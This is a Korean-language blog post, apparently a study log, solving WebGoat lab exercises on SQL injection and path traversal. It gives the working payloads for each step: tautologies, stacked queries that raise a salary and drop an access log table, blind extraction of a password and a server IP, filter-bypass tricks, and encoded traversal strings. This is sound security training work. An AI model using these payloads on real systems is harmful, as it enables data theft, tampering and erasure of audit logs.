본문 바로가기
정보보안/WebGoat

OWASP Top 10 항목 진단 - Injection 인젝션

by IT매니절 2025. 1. 3.

격조한 사유는 ... 12월에 잠깐 취업을 했다가 업무분야가 맞지 않아서 퇴사하고 1월부터 다시 공부 재개하기로 했다 ....

 

1. Injection 인젝션
- SQL Injection
- Path traversal

 

인젝션의 주요 공격

1) 인증우회
2) 데이터 조회(조작)
3) 시스템 명령어

 

2번항목

Look at the example table. Try to retrieve the department of the employee Bob Franco.

답 : select department from Employees where first_name = 'Bob' and last_name = 'Franco'

 

3번 항목

Try to change the department of Tobi Barnett to 'Sales'.

답 : update Employees set department = 'Sales' where first_name = 'Tobi' and last_name = 'Barnett'

 

4번 항목

Now try to modify the scheme by adding the column "phone" (varchar(20)) to the table "employees". 

답 : alter table employees add phone varchar(20)

(컬럼 추가는 alter ~ add, 컬럼 이름 변경은 alter ~ rename column ~ to ~, 컬럼 데이터 타입 변경은 alter ~ modify, 컬럼 삭제는 alter ~ drop)

 

5번 항목

Try to grant the usergroup "UnauthorizedUser" the right to alter tables

답 : grant alter table to UnauthorizedUser

 

9번 항목

드롭박스 식으로 정답을 선택하게 되어 있다. 문제 의도는 모든 데이터를 조회하는 것.

 

10번 항목

힌트 :  The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;
// Using the two Input Fields below, try to retrieve all the data from the users table.

답 :  SELECT * From user_data WHERE Login_Count = 1234 and userid= 1234 or 1=1

 

11번 항목

힌트 : If queries are built dynamically in the application by concatenating strings to it, this makes it very susceptible to String SQL injection.

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "';

답 : SELECT * FROM employees WHERE last_name = 'a' AND auth_tan = 'a' or '1'='1'

 

12번 항목

Your name is John Smith and your current TAN is 3SL99A.
Better go and change your own salary so you are earning the most!

답 : 3SL99A';update employees set salary = 100000 where first_name = 'John' and last_name = 'Smith

( salary가 숫자인지 몰라서 (맨 처음 문제에서는 $가 붙어 나왔으므로) 삽질하다가 숫자라는 걸 알고 바로 해결함... )

 

13번 항목

There seems to be a access_log table, where all your actions have been logged to!
Better go and delete it completely before anyone notices.

답 : ';drop table access_log-- 

( 처음엔 delete 썼는데, 테이블 전체를 지우라는 안내가 나옴. 그래서 drop table access_log을 적었는데 안 돼서 보니 로그검색 칸이었다. 추가로 ; 와 -- 주석처리를 사용해야 했다 )

 

 

 

(advanced)

3번 항목

6.a) Retrieve all data from the table
6.b) When you have figured it out…​. What is Dave’s password?

답 : ';select * from user_system_data -- '로 전체 데이터 검색하기

 

5번 항목

Goal: Can you login as Tom?

 

과정

로그인 화면에서 인젝션되지 않는다고 판단한 후, 회원가입 창에서 아이디 중복 확인 부분에 인젝션 시도

tom2 라는 아이디 입력값이 그대로 출력되고 있음

to'||'m2 를 입력하여 인젝션 취약점이 있음을 확인 (단, 출력값은 db데이터가 아닌 사용자 입력값)

 

작성한 쿼리

select * from member where username='tom' and length(password)>0--'

입력값
tom'+and+length(password)>0--

20, 30 등 숫자를 바꿔가면서 테스트해본 결과 패스워드의 길이가 23이라는 것을 알게 됨

 

입력값

tom'+and+ascii(substring(password,1,1))>115--

=> 첫 번째 문자열의 아스키코드 값은 116 이다

이진탐색 : 32 ~ 126 사이의 아스키코드값을 반으로 쪼개어 80 100 120 등 숫자로 범위를 줄여나가서 추론하는 방식

 

비트탐색을 통해 나머지를 구하려고 했는데

입력값

tom'+and+1=1%26ascii(substring(password,1,1))--

이렇게 하면 에러가 나버린다. =나 &를 인코딩해보기도 하고 위치를 바꿔보기도 하고 별짓을 다 했는데 결국 실패.

그래서 어떻게 했느냐 하면... ..

1~22 그리고 소문자인 97 ~ 122 사이 숫자를 전부 자동화 Intruder로 돌려버렸다 (총 572회 ... )

시간이 많이 걸렸다 그렇지만 일단 얻기는 했다

답 : thisisasecretfortomonly

 

6번 항목은 단순 문제 답을 맞추는 객관식이므로 패스함

 

 

+ 01.06 추가

(mitigation)

5번 항목

첫번째 메소드는 getConnection 나머지는 앞에 다 나온다

 

 

6번 항목

try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    PreparedStatement psts = conn.prepareStatement("select name, id from users where user_id = ?");
    psts.setString(1, "accountId");
    ResultSet results = psts.executeQuery();
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

 

그냥 스스로 선처리 질의문을 써보는 문제

 

 

9번 항목

입력
;select * from user_system_data --
=> Using spaces is not allowed!

advanced에서 풀었던 문제를 보강했다고 하여 그대로 입력하자, spaces를 사용할 수 없다고 나온다

 

입력

1 'or' 1'='1                <- spaces 사용할 수 없다고 나옴

1'or'1'='1                  <- 공백 삭제

인젝션이 돼서 결과가 나왔는데 왜 맞지 않느냐? 하면

advanced의 문제를 다시 푸는 거라,

user_data 테이블이 아니라 user_system_data에 대한 union 인젝션을 해야하기 때문이다

 

입력

'or/**/1=1/**/order/**/by/**/1--

데이터가 친절하게 출력되지 않는다는 전제하에 숫자를 늘려가면서 시도한다

8번째에서 에러가 나는 것을 볼 수 있다

따라서 컬럼의 개수는 7개로 가정한다

 

입력

';select/**/user_name,password,null,null,null,null,null/**/from/**/user_system_data--

7개를 맞추어 null로 채워준다

 

 

10번 항목

입력값 검증을 강화했으니 다시 인젝션을 시도하라는 문제

9번의 정답을 입력하면 이렇게 에러가 난다

쿼리 결과를 보면 select와 from절이 사라져있는 것을 볼 수 있다

 

입력

';selselectect/**/user_name,password,null,null,null,null,null/**/frfromom/**/user_system_data--

=> select와 from을 제거하고 있으므로, 중간에 삽입하면 제거됨으로써 정상적인 쿼리문이 된다

 

 

12번 항목

In this assignment try to perform an SQL injection through the ORDER BY field. Try to find the ip address of the webgoat-prd server, guessing the complete ip address might take too long so we give you the last part: xxx.130.219.202

Note: The submit field of this assignment is NOT vulnerable for an SQL injection.

ORDER BY 절을 통해 인젝션을 해야 하는 문제

webgoat-prd 서버의 IP 주소를 찾아야 한다

 

 

+ 갑자기 크롬 확장 프로그램으로 쓰고 있던 프록시 프로그램이 비활성화되었다

그래서 foxy proxy로 갈아탐

 

 

submit 칸에서는 인젝션이 되지 않으므로 burp로 잡아서 시도한다 

 

union 인젝션은 order by절이 있으면 사용이 불가능 하므로,

자연스럽게 blind 인젝션을 시도한다

 

(case when 조건문 then 참일때 else 거짓일때 end) 구문을 활용

(case when 조건문 then hostname else ip end)

=> 조건문을 넣어 hostname과 ip로 구분한다. hostname일 때는 id값 3이 첫번째이고 ip는 2이다

 

입력

(case when 1=1 then hostname else ip end)

공백을 그대로 입력하면 인코딩이 에러나니까 +로 잘 대체해준다

 

(case+when+1=1+then+hostname+else+ip+end)

 

입력

a

오류 메시지를 통해 컬럼명과 테이블명을 고스란히 얻어낼 수 있다

오류 메시지가 노출되지 않는다면 메타데이터를 통해 얻어야 한다 (아주 복잡하게... )

 

입력

(case+when+(select+count(ip)+from+servers+where+hostname='webgoat-prd')=1+then+hostname+else+ip+end)

결과는 참이다

 

입력

(case+when+(select+length(ip)+from+servers+where+hostname='webgoat-prd')%3e1+then+hostname+else+ip+end)

꺽쇠> 는 %3e 로 인코딩해주었다. 반복하여 길이값 15를 얻어낸다

 

입력

(case+when+substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)=1+then+hostname+else+ip+end)

substring으로 첫번째 자리를 판단한다

 

입력

(case+when+substring((select+ip+from+servers+where+hostname='webgoat-prd'),2,1)=0+then+hostname+else+ip+end)

 

입력

(case+when+substring((select+ip+from+servers+where+hostname='webgoat-prd'),3,1)=4+then+hostname+else+ip+end)

 

단순반복하여 104를 얻어낸다

(실무에서는 자동화 도구를 쓰겠지 ... )

 

order by절이 중요한 이유는 선처리 질의문을 쓸 수 없기 때문이다

이를 통해 인젝션이 가능한 것이 중요하다

 

참과 거짓을 판별할 데이터가 없다면 어떻게 진단해야 할까?
=> sql injection 고급 강의에서 설명한다고 함;;

 

 

Path traversal

경로를 조작하여 인젝션하기

 

2번항목

시도해야 하는 경로 : C:\Users\user/.webgoat-8.1.0/PathTraversal/

Profile has been updated, your image is available at: C:\Users\user\.webgoat-8.1.0\PathTraversal\webgoat1\test"

업로드 경로를 확인한다

 

한 번만 위로 올라가면 되기 때문에 ../ 를 입력하여 성공

 

 

3번 항목
../ 를 필터링하도록 고쳐진 프로그램에서 시도

 

1) ...\.\test 를 입력해봤는데, 해결책이 올바르지 않다고 나왔다

2) ..\ 입력했더니 성공했다 (허무하게 ... )

3) 강의 해결책 : ....//

 

4번 항목

이름에 대한 조치를 한 프로그램에서 시도

 

test 그대로 시도하자,

뭔가 인코딩 된 것 같은 이름으로 저장되는데... 사실 여기서 중요한 부분은 이름이 아니고 .png 이다 

원래는 파일명대로 저장되었는데 지금은 파일명.png 로 저장되고 있다.

 

그렇다면 파일명에 ../를 넣으면 되지 않을까?

burp에서 repeater로 수정한 후 전송하자

성공한 모습

 

단, 실무에서는 보통 슬러시 / 뒤의 문자를 파일명으로 사용하고 있어서, 라이브러리에 따라 실패할 수 있다

 

 

5번 항목

Retrieving other files with a path traversal
Path traversals are not limited to file uploads also when retrieving files it can be the case that a path traversal is possible to retrieve other files from the system. In this assignment try to find a file called path-traversal-secret.jpg

=> 다른 파일 탐색하기

show random cat picture 버튼을 누르고 burp로 확인한다

 

응답값에 Location 헤더가 노출된다. id값이 필요하다는 것을 알게되었다

변조해서 3을 던지면 잘 출력된다

이를 통해 상위폴더로 접근해본다

 

입력

?id=../3

문자열 중 뭔가 필터링이 되고 있음을 알 수 있다

 

입력

....//

=> 결과는 동일

 

인코딩을 해본다

 

입력

%2e%2e%2f

디렉토리 리스팅이 되면서, 찾고 있던 파일의 위치가 노출되었다

 

입력

%2e%2e%2f%2e%2e%2fpath-traversal-secret

=> You found it submit the SHA-512 hash of your username as answer

 

사용중인 username을 sha-512하여 입력하면 성공한다.

 

해당 문제의 소스코드에서는 getParameter()가 아니라 getQueryString()을 사용하고 있어서 인코딩된 인젝션이 성공한 것이다.
getParameter()는 디코딩된 값을 얻어오고
getQueryString()는 인코딩된 상태(로우데이터 그대로)를 얻어온다